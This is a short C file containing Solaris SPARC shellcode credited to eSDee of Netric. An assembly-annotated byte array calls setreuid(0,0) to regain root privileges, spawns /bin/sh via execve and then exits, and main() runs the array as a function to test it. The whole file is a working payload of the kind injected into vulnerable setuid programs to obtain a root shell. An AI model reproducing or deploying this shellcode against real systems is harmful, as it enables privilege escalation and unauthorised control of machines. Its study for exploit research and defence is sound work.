/* Solaris sparc shellcode by eSDee of Netric (www.netric.org)
* setreuid(0,0); execve("/bin//sh", &argv[0], NULL); exit();
*/

#include <stdio.h>

char
shellcode[]=

// setreuid(0,0);

"\x90\x1d\x80\x16" // xor %l6, %l6, %o0
"\x92\x1d\x80\x16" // xor %l6, %l6, %o1
"\x82\x10\x20\xca" // mov 0xca, %g1
"\x91\xd0\x20\x08" // ta 8

// execve("/bin//sh", &argv[0], NULL);

"\x21\x0b\xd8\x9a" // sethi %hi(0x2f626800), %l0
"\xa0\x14\x21\x6e" // or %l0, 0x16e, %l0 ! 0x2f62696e
"\x23\x0b\xcb\xdc" // sethi %hi(0x2f2f7000), %l1
"\xa2\x14\x63\x68" // or %l1, 0x368, %l1 ! 0x2f2f7368
"\xe0\x3b\xbf\xf0" // std %l0, [ %sp + -16 ]
"\xc0\x23\xbf\xf8" // clr [ %sp + -8 ]
"\x90\x23\xa0\x10" // sub %sp, 0x10, %o0
"\xc0\x23\xbf\xec" // clr [ %sp + -20 ]
"\xd0\x23\xbf\xe8" // st %o0, [ %sp + -24 ]
"\x92\x23\xa0\x18" // sub %sp, 0x18, %o1
"\x94\x22\x80\x0a" // sub %o2, %o2, %o2
"\x82\x10\x20\x3b" // mov 0x3b, %g1
"\x91\xd0\x20\x08" // ta 8

// exit()

"\x82\x10\x20\x01" // mov 1, %g1
"\x91\xd0\x20\x08"; // ta 8


int
main()
{
void (*funct) ();
(long) funct = &shellcode;
funct();
}